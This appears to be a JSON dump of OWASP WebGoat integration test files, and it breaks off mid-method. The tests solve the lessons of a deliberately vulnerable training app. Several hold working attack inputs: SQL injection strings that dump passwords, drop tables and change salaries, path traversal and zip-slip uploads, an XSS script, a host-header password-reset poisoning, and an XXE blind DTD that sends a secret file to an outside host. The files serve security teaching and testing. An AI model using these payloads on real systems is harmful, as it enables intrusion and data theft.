    "content": "package org.owasp.webgoat;\n\nimport io.restassured.RestAssured;\nimport lombok.SneakyThrows;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.assertj.core.api.Assertions;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.DynamicTest;\nimport org.junit.jupiter.api.TestFactory;\n\nimport static org.junit.jupiter.api.DynamicTest.dynamicTest;\n\nimport java.util.Arrays;\nimport java.util.Map;\n\npublic class PasswordResetLessonIntegrationTest extends IntegrationTest {\n\n\t@BeforeEach\n    @SneakyThrows\n    public void init() {\n    \tstartLesson(\"/PasswordReset\");\n    }\n\t\n\t@TestFactory\n    Iterable<DynamicTest> passwordResetLesson() {\n    \treturn Arrays.asList(\n    \t\t\tdynamicTest(\"assignment 6 - check email link\",()-> sendEmailShouldBeAvailableInWebWolf()),\n    \t\t\tdynamicTest(\"assignment 6 - solve assignment\",()-> solveAssignment()),\n    \t\t\tdynamicTest(\"assignment 2 - simple reset\",()-> assignment2()),\n    \t\t\tdynamicTest(\"assignment 4 - guess questions\",()-> assignment4()),\n    \t\t\tdynamicTest(\"assignment 5 - simple questions\",()-> assignment5())\n    \t\t\t);\n    }\n\tpublic void assignment2() {\n\t\tcheckAssignment(url(\"PasswordReset/simple-mail/reset\"), Map.of(\"emailReset\", this.getUser()+\"@webgoat.org\"), false);\n\t\tcheckAssignment(url(\"PasswordReset/simple-mail\"), Map.of(\"email\", this.getUser()+\"@webgoat.org\", \"password\", StringUtils.reverse(this.getUser())), true);\n\t}\n\t\n\tpublic void assignment4() {\n        checkAssignment(url(\"PasswordReset/questions\"), Map.of(\"username\", \"tom\", \"securityQuestion\", \"purple\"), true);\n    }\n\t\n\tpublic void assignment5() {\n        checkAssignment(url(\"PasswordReset/SecurityQuestions\"), Map.of(\"question\", \"What is your favorite animal?\"), false);\n        checkAssignment(url(\"PasswordReset/SecurityQuestions\"), Map.of(\"question\", \"What is your favorite color?\"), true);\n    }\n\n\t\n    public void solveAssignment() {\n        //WebGoat\n        clickForgotEmailLink(\"tom@webgoat-cloud.org\");\n\n        //WebWolf\n        var link = getPasswordResetLinkFromLandingPage();\n\n        //WebGoat\n        changePassword(link);\n        checkAssignment(url(\"PasswordReset/reset/login\"), Map.of(\"email\", \"tom@webgoat-cloud.org\", \"password\", \"123456\"), true);\n    }\n\n    public void sendEmailShouldBeAvailableInWebWolf() {\n    \tclickForgotEmailLink(this.getUser() + \"@webgoat.org\");\n\n        var responseBody = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"WEBWOLFSESSION\", getWebWolfCookie())\n                .get(webWolfUrl(\"/WebWolf/mail\"))\n                .then()\n                .extract().response().getBody().asString();\n\n        Assertions.assertThat(responseBody).contains(\"Hi, you requested a password reset link\");\n    }\n    \n    @AfterEach\n    public void shutdown() {\n    \t//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete\n    \tcheckResults(\"/PasswordReset\");\n    }\n\n    private void changePassword(String link) {\n        RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .formParams(\"resetLink\", link, \"password\", \"123456\")\n                .post(url(\"PasswordReset/reset/change-password\"))\n                .then()\n                .statusCode(200);\n    }\n\n    private String getPasswordResetLinkFromLandingPage() {\n        var responseBody = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"WEBWOLFSESSION\", getWebWolfCookie())\n                .get(webWolfUrl(\"/WebWolf/requests\"))\n                .then()\n                .extract().response().getBody().asString();\n        int startIndex = responseBody.lastIndexOf(\"/PasswordReset/reset/reset-password/\");\n        var link = responseBody.substring(startIndex + \"/PasswordReset/reset/reset-password/\".length(), responseBody.indexOf(\",\", startIndex) - 1);\n        return link;\n    }\n\n    private void clickForgotEmailLink(String user) {\n        RestAssured.given()\n                .when()\n                .header(\"host\", String.format(\"%s:%s\", \"localhost\", getWebWolfPort()))\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .formParams(\"email\", user)\n                .post(url(\"PasswordReset/ForgotPassword/create-password-reset-link\"))\n                .then()\n                .statusCode(200);\n    }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport io.restassured.RestAssured;\nimport lombok.SneakyThrows;\nimport org.hamcrest.CoreMatchers;\nimport org.hamcrest.MatcherAssert;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.DynamicTest;\nimport org.junit.jupiter.api.TestFactory;\nimport org.junit.jupiter.api.io.TempDir;\nimport org.springframework.security.core.token.Sha512DigestUtils;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.util.Arrays;\nimport java.util.Map;\nimport java.util.zip.ZipEntry;\nimport java.util.zip.ZipOutputStream;\n\nimport static org.junit.jupiter.api.DynamicTest.dynamicTest;\n\nclass PathTraversalIT extends IntegrationTest {\n\n    @TempDir\n    Path tempDir;\n\n    private File fileToUpload = null;\n\n    @BeforeEach\n    @SneakyThrows\n    public void init() {\n        fileToUpload = Files.createFile(tempDir.resolve(\"test.jpg\")).toFile();\n        Files.write(fileToUpload.toPath(), \"This is a test\".getBytes());\n        startLesson(\"PathTraversal\");\n    }\n\n    @TestFactory\n    Iterable<DynamicTest> testPathTraversal() {\n        return Arrays.asList(\n                dynamicTest(\"assignment 1 - profile upload\", () -> assignment1()),\n                dynamicTest(\"assignment 2 - profile upload fix\", () -> assignment2()),\n                dynamicTest(\"assignment 3 - profile upload remove user input\", () -> assignment3()),\n                dynamicTest(\"assignment 4 - profile upload random pic\", () -> assignment4()),\n                dynamicTest(\"assignment 5 - zip slip\", () -> assignment5())\n        );\n    }\n\n    private void assignment1() throws IOException {\n        MatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .multiPart(\"uploadedFile\", \"test.jpg\", Files.readAllBytes(fileToUpload.toPath()))\n                        .param(\"fullName\", \"../John Doe\")\n                        .post(url(\"/WebGoat/PathTraversal/profile-upload\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"lessonCompleted\"), CoreMatchers.is(true));\n    }\n\n    private void assignment2() throws IOException {\n        MatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .multiPart(\"uploadedFileFix\", \"test.jpg\", Files.readAllBytes(fileToUpload.toPath()))\n                        .param(\"fullNameFix\", \"..././John Doe\")\n                        .post(url(\"/WebGoat/PathTraversal/profile-upload-fix\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"lessonCompleted\"), CoreMatchers.is(true));\n    }\n\n    private void assignment3() throws IOException {\n        MatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .multiPart(\"uploadedFileRemoveUserInput\", \"../test.jpg\", Files.readAllBytes(fileToUpload.toPath()))\n                        .post(url(\"/WebGoat/PathTraversal/profile-upload-remove-user-input\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"lessonCompleted\"), CoreMatchers.is(true));\n    }\n\n    private void assignment4() throws IOException {\n        var uri = \"/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret\";\n        RestAssured.given().urlEncodingEnabled(false)\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(uri))\n                .then()\n                .statusCode(200)\n                .body(CoreMatchers.is(\"You found it submit the SHA-512 hash of your username as answer\"));\n\n        checkAssignment(url(\"/WebGoat/PathTraversal/random\"), Map.of(\"secret\",\n                Sha512DigestUtils.shaHex(this.getUser())), true);\n    }\n\n    private void assignment5() throws IOException {\n        var webGoatHome = webGoatServerDirectory() + \"PathTraversal/\" + this.getUser();\n        webGoatHome = webGoatHome.replaceAll(\"^[a-zA-Z]:\", \"\"); //Remove C: from the home directory on Windows\n\n        var webGoatDirectory = new File(webGoatHome);\n        var zipFile = new File(tempDir.toFile(), \"upload.zip\");\n        try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {\n            ZipEntry e = new ZipEntry(\"../../../../../../../../../../\" + webGoatDirectory + \"/image.jpg\");\n            zos.putNextEntry(e);\n            zos.write(\"test\".getBytes(StandardCharsets.UTF_8));\n        }\n        MatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .multiPart(\"uploadedFileZipSlip\", \"upload.zip\", Files.readAllBytes(zipFile.toPath()))\n                        .post(url(\"/WebGoat/PathTraversal/zip-slip\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"lessonCompleted\"), CoreMatchers.is(true));\n    }\n\n    @AfterEach\n    void shutdown() {\n        //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete\n        checkResults(\"/PathTraversal\");\n    }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport io.restassured.RestAssured;\nimport io.restassured.response.Response;\n\nimport org.assertj.core.api.Assertions;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.stream.Collectors;\nimport java.util.stream.IntStream;\n\npublic class ProgressRaceConditionIntegrationTest extends IntegrationTest {\n\n    @Test\n    public void runTests() throws InterruptedException {\n    \tint NUMBER_OF_CALLS = 40;\n    \tint NUMBER_OF_PARALLEL_THREADS = 5;\n        startLesson(\"Challenge1\");\n\n        Callable<Response> call = () -> {\n        \t\t//System.out.println(\"thread \"+Thread.currentThread().getName());\n                return RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .formParams(Map.of(\"flag\", \"test\"))\n                        .post(url(\"/challenge/flag/\"));\n\n        };\n        ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);\n        List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());\n        var responses = executorService.invokeAll(flagCalls);\n\n        //A certain amount of parallel calls should fail as optimistic locking in DB is applied\n        long countStatusCode500 = responses.stream().filter(r -> {\n            try {\n            \t//System.err.println(r.get().getStatusCode());\n                return r.get().getStatusCode() != 200;\n            } catch (InterruptedException | ExecutionException e) {\n            \t//System.err.println(e);\n                throw new IllegalStateException(e);\n            }\n        }).count();\n        System.err.println(\"counted status 500: \"+countStatusCode500);\n        Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));\n    }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.junit.jupiter.api.Test;\n\npublic class SSRFIntegrationTest extends IntegrationTest {\n    \n    @Test\n    public void runTests() throws IOException {\n        startLesson(\"SSRF\");\n        \n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"url\", \"images/jerry.png\");\n        \n        checkAssignment(url(\"/WebGoat/SSRF/task1\"),params,true);\n        params.clear();\n        params.put(\"url\", \"http://ifconfig.pro\");\n        \n        checkAssignment(url(\"/WebGoat/SSRF/task2\"),params,true);\n        \n        checkResults(\"/SSRF/\");\n    \n    }\n    \n    \n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2021 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source\n * ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat;\n\nimport java.util.Map;\n\nimport org.junit.jupiter.api.Test;\n\n/**\n *\n * @author Angel Olle Blazquez\n *\n */\n\nclass SessionManagementIT extends IntegrationTest {\n    \n    private static final String HIJACK_LOGIN_CONTEXT_PATH = \"/WebGoat/HijackSession/login\";\n\n\n    @Test\n    void hijackSessionTest() {\n        startLesson(\"HijackSession\");\n        \n        checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of(\"username\", \"webgoat\", \"password\", \"webgoat\"), false);\n    }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.junit.jupiter.api.Test;\n\npublic class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {\n\n    @Test\n    public void runTests() {\n        startLesson(\"SqlInjectionAdvanced\");\n\n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"username_reg\", \"tom' AND substring(password,1,1)='t\");\n        params.put(\"password_reg\", \"password\");\n        params.put(\"email_reg\", \"someone@microsoft.com\");\n        params.put(\"confirm_password\", \"password\");\n        checkAssignmentWithPUT(url(\"/WebGoat/SqlInjectionAdvanced/challenge\"), params, true);\n\n        params.clear();\n        params.put(\"username_login\", \"tom\");\n        params.put(\"password_login\", \"thisisasecretfortomonly\");\n        checkAssignment(url(\"/WebGoat/SqlInjectionAdvanced/challenge_Login\"), params, true);\n\n        params.clear();\n        params.put(\"userid_6a\", \"'; SELECT * FROM user_system_data;--\");\n        checkAssignment(url(\"/WebGoat/SqlInjectionAdvanced/attack6a\"), params, true);\n\n        params.clear();\n        params.put(\"userid_6a\", \"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --\");\n        checkAssignment(url(\"/WebGoat/SqlInjectionAdvanced/attack6a\"), params, true);\n\n        params.clear();\n        params.put(\"userid_6b\", \"passW0rD\");\n        checkAssignment(url(\"/WebGoat/SqlInjectionAdvanced/attack6b\"), params, true);\n\n        params.clear();\n        params.put(\"question_0_solution\", \"Solution 4: A statement has got values instead of a prepared statement\");\n        params.put(\"question_1_solution\", \"Solution 3: ?\");\n        params.put(\"question_2_solution\", \"Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.\");\n        params.put(\"question_3_solution\", \"Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.\");\n        params.put(\"question_4_solution\", \"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.\");\n        checkAssignment(url(\"/WebGoat/SqlInjectionAdvanced/quiz\"), params, true);\n\n        checkResults(\"/SqlInjectionAdvanced/\");\n    }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.junit.jupiter.api.Test;\n\npublic class SqlInjectionLessonIntegrationTest extends IntegrationTest {\n\n    public static final String sql_2 = \"select department from employees where last_name='Franco'\";\n    public static final String sql_3 = \"update employees set department='Sales' where last_name='Barnett'\";\n    public static final String sql_4_drop = \"alter table employees drop column phone\";\n    public static final String sql_4_add = \"alter table employees add column phone varchar(20)\";\n    public static final String sql_5 = \"grant select on grant_rights to unauthorized_user\";\n    public static final String sql_9_account = \" ' \";\n    public static final String sql_9_operator = \"or\";\n    public static final String sql_9_injection = \"'1'='1\";\n    public static final String sql_10_login_count = \"2\";\n    public static final String sql_10_userid = \"1 or 1=1\";\n\n    public static final String sql_11_a = \"Smith' or '1' = '1\";\n    public static final String sql_11_b = \"3SL99A'  or '1'='1\";\n\n    public static final String sql_12_a = \"Smith\";\n    public static final String sql_12_b = \"3SL99A' ; update employees set salary= '100000' where last_name='Smith\";\n\n    public static final String sql_13 = \"%update% '; drop table access_log ; --'\";\n\n    @Test\n    public void runTests() {\n        startLesson(\"SqlInjection\");\n\n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"query\", sql_2);\n        checkAssignment(url(\"/WebGoat/SqlInjection/attack2\"), params, true);\n\n        params.clear();\n        params.put(\"query\", sql_3);\n        checkAssignment(url(\"/WebGoat/SqlInjection/attack3\"), params, true);\n\n        params.clear();\n        params.put(\"query\", sql_4_add);\n        checkAssignment(url(\"/WebGoat/SqlInjection/attack4\"), params, true);\n\n        params.clear();\n        params.put(\"query\", sql_5);\n        checkAssignment(url(\"/WebGoat/SqlInjection/attack5\"), params, true);\n\n        params.clear();\n        params.put(\"operator\", sql_9_operator);\n        params.put(\"account\", sql_9_account);\n        params.put(\"injection\", sql_9_injection);\n        checkAssignment(url(\"/WebGoat/SqlInjection/assignment5a\"), params, true);\n\n        params.clear();\n        params.put(\"login_count\", sql_10_login_count);\n        params.put(\"userid\", sql_10_userid);\n        checkAssignment(url(\"/WebGoat/SqlInjection/assignment5b\"), params, true);\n\n        params.clear();\n        params.put(\"name\", sql_11_a);\n        params.put(\"auth_tan\", sql_11_b);\n        checkAssignment(url(\"/WebGoat/SqlInjection/attack8\"), params, true);\n\n        params.clear();\n        params.put(\"name\", sql_12_a);\n        params.put(\"auth_tan\", sql_12_b);\n        checkAssignment(url(\"/WebGoat/SqlInjection/attack9\"), params, true);\n\n        params.clear();\n        params.put(\"action_string\", sql_13);\n        checkAssignment(url(\"/WebGoat/SqlInjection/attack10\"), params, true);\n\n        checkResults(\"/SqlInjection/\");\n\n    }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport io.restassured.RestAssured;\nimport io.restassured.http.ContentType;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.hamcrest.CoreMatchers.containsString;\n\npublic class SqlInjectionMitigationIntegrationTest extends IntegrationTest {\n\n    @Test\n    public void runTests() {\n        startLesson(\"SqlInjectionMitigations\");\n\n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"field1\", \"getConnection\");\n        params.put(\"field2\", \"PreparedStatement prep\");\n        params.put(\"field3\", \"prepareStatement\");\n        params.put(\"field4\", \"?\");\n        params.put(\"field5\", \"?\");\n        params.put(\"field6\", \"prep.setString(1,\\\"\\\")\");\n        params.put(\"field7\", \"prep.setString(2,\\\\\\\"\\\\\\\")\");\n        checkAssignment(url(\"/WebGoat/SqlInjectionMitigations/attack10a\"), params, true);\n\n        params.put(\"editor\", \"try {\\r\\n\" +\n                \"    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\\r\\n\" +\n                \"    PreparedStatement prep = conn.prepareStatement(\\\"select id from users where name = ?\\\");\\r\\n\" +\n                \"    prep.setString(1,\\\"me\\\");\\r\\n\" +\n                \"    prep.execute();\\r\\n\" +\n                \"    System.out.println(conn);   //should output 'null'\\r\\n\" +\n                \"} catch (Exception e) {\\r\\n\" +\n                \"    System.out.println(\\\"Oops. Something went wrong!\\\");\\r\\n\" +\n                \"}\");\n        checkAssignment(url(\"/WebGoat/SqlInjectionMitigations/attack10b\"), params, true);\n\n        params.clear();\n        params.put(\"userid_sql_only_input_validation\", \"Smith';SELECT/**/*/**/from/**/user_system_data;--\");\n        checkAssignment(url(\"/WebGoat/SqlOnlyInputValidation/attack\"), params, true);\n\n        params.clear();\n        params.put(\"userid_sql_only_input_validation_on_keywords\", \"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--\");\n        checkAssignment(url(\"/WebGoat/SqlOnlyInputValidationOnKeywords/attack\"), params, true);\n\n        RestAssured.given()\n                .when().relaxedHTTPSValidation().cookie(\"JSESSIONID\", getWebGoatCookie())\n                .contentType(ContentType.JSON)\n                .get(url(\"/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)\"))\n                .then()\n                .statusCode(200);\n\n        RestAssured.given()\n                .when().relaxedHTTPSValidation().cookie(\"JSESSIONID\", getWebGoatCookie())\n                .contentType(ContentType.JSON)\n                .get(url(\"/WebGoat/SqlInjectionMitigations/servers?column=unknown\"))\n                .then()\n                .statusCode(500)\n                .body(\"trace\", containsString(\"select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by\"));\n\n        params.clear();\n        params.put(\"ip\", \"104.130.219.202\");\n        checkAssignment(url(\"/WebGoat/SqlInjectionMitigations/attack12a\"), params, true);\n\n        checkResults();\n    }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.junit.jupiter.api.Test;\n\nimport io.restassured.RestAssured;\n\npublic class WebWolfIntegrationTest extends IntegrationTest {\n    \n    @Test\n    public void runTests() throws IOException {\n        startLesson(\"WebWolfIntroduction\");\n        \n        //Assignment 3\n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"email\", this.getUser()+\"@webgoat.org\");\n        checkAssignment(url(\"/WebGoat/WebWolf/mail/send\"), params, false);\n        \n        String responseBody = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"WEBWOLFSESSION\", getWebWolfCookie())\n                .get(webWolfUrl(\"/WebWolf/mail\"))\n                .then()\n                .extract().response().getBody().asString();\n        \n        String uniqueCode = responseBody.replace(\"%20\", \" \");\n        uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf(\"your unique code is: \"),uniqueCode.lastIndexOf(\"your unique code is: \")+(21+ this.getUser().length()));\n        params.clear();\n        params.put(\"uniqueCode\", uniqueCode);\n        checkAssignment(url(\"/WebGoat/WebWolf/mail\"), params, true);\n        \n        //Assignment 4\n        RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())   \n                        .queryParams(params)\n                        .get(url(\"/WebGoat/WebWolf/landing/password-reset\"))                        \n                        .then()\n                        .statusCode(200);\n        RestAssured.given()\n        .when()\n        .relaxedHTTPSValidation()\n        .cookie(\"WEBWOLFSESSION\", getWebWolfCookie())\n        .queryParams(params)\n        .get(webWolfUrl(\"/landing\"))                        \n        .then()\n        .statusCode(200);\n        responseBody = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"WEBWOLFSESSION\", getWebWolfCookie())\n                .get(webWolfUrl(\"/WebWolf/requests\"))\n                .then()\n                .extract().response().getBody().asString();\n        assertTrue(responseBody.contains(uniqueCode));\n        params.clear();\n        params.put(\"uniqueCode\", uniqueCode);\n        checkAssignment(url(\"/WebGoat/WebWolf/landing\"), params, true);\n        \n        checkResults(\"/WebWolf\");\n        \n    }\n    \n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport io.restassured.RestAssured;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.junit.jupiter.api.Test;\n\npublic class XSSIntegrationTest extends IntegrationTest {\n\n    \n    @Test\n    public void crossSiteScriptingAssignments() {\n        startLesson(\"CrossSiteScripting\");\n\n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"checkboxAttack1\", \"value\");\n        checkAssignment(url(\"/CrossSiteScripting/attack1\"), params, true);\n\n        params.clear();\n        params.put(\"QTY1\", \"1\");\n        params.put(\"QTY2\", \"1\");\n        params.put(\"QTY3\", \"1\");\n        params.put(\"QTY4\", \"1\");\n        params.put(\"field1\", \"<script>alert('XSS+Test')</script>\");\n        params.put(\"field2\", \"111\");\n        checkAssignmentWithGet(url(\"/CrossSiteScripting/attack5a\"), params, true);\n\n        params.clear();\n        params.put(\"DOMTestRoute\", \"start.mvc#test\");\n        checkAssignment(url(\"/CrossSiteScripting/attack6a\"), params, true);\n        \n        params.clear();\n        params.put(\"param1\", \"42\");\n        params.put(\"param2\", \"24\");\n\n        String result =\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .header(\"webgoat-requested-by\", \"dom-xss-vuln\")\n                        .header(\"X-Requested-With\", \"XMLHttpRequest\")\n                        .formParams(params)\n                        .post(url(\"/CrossSiteScripting/phone-home-xss\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"output\");\n        String secretNumber = result.substring(\"phoneHome Response is \".length());\n       \n        params.clear();\n        params.put(\"successMessage\", secretNumber);\n        checkAssignment(url(\"/CrossSiteScripting/dom-follow-up\"), params, true);\n        \n        params.clear();\n        params.put(\"question_0_solution\", \"Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.\");\n        params.put(\"question_1_solution\", \"Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.\");\n        params.put(\"question_2_solution\", \"Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.\");\n        params.put(\"question_3_solution\", \"Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.\");\n        params.put(\"question_4_solution\", \"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.\");\n        checkAssignment(url(\"/CrossSiteScripting/quiz\"), params, true);\n\n        checkResults(\"/CrossSiteScripting/\");\n\n    }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport io.restassured.RestAssured;\nimport io.restassured.http.ContentType;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\n\npublic class XXEIntegrationTest extends IntegrationTest {\n\n    private static final String xxe3 = \"\"\"\n            <?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>\"\"\";\n    private static final String xxe4 = \"\"\"\n            <?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>\"\"\";\n    private static final String dtd7 = \"\"\"\n            <?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;\"\"\";\n    private static final String xxe7 = \"\"\"\n            <?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>\"\"\";\n\n    private String webGoatHomeDirectory;\n    private String webWolfFileServerLocation;\n\n    /*\n     * This test is to verify that all is secure when XXE security patch is applied.\n     */\n    @Test\n    public void xxeSecure() throws IOException {\n        startLesson(\"XXE\");\n        webGoatHomeDirectory = webGoatServerDirectory();\n        webWolfFileServerLocation = getWebWolfFileServerLocation();\n        RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"service/enable-security.mvc\"))\n                .then()\n                .statusCode(200);\n        checkAssignment(url(\"/WebGoat/xxe/simple\"), ContentType.XML, xxe3, false);\n        checkAssignment(url(\"/WebGoat/xxe/content-type\"), ContentType.XML, xxe4, false);\n        checkAssignment(url(\"/WebGoat/xxe/blind\"), ContentType.XML, \"<comment><text>\" + getSecret() + \"</text></comment>\", false);\n    }\n\n    /**\n     * This performs the steps of the exercise before the secret can be committed in the final step.\n     *\n     * @return\n     * @throws IOException\n     */\n    private String getSecret() throws IOException {\n        //remove any left over DTD\n        Path webWolfFilePath = Paths.get(webWolfFileServerLocation);\n        if (webWolfFilePath.resolve(Paths.get(this.getUser(), \"blind.dtd\")).toFile().exists()) {\n            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), \"blind.dtd\")));\n        }\n        String secretFile = webGoatHomeDirectory.concat(\"/XXE/\" + getUser() + \"/secret.txt\");\n        String dtd7String = dtd7.replace(\"WEBWOLFURL\", webWolfUrl(\"/landing\")).replace(\"SECRET\", secretFile);\n\n        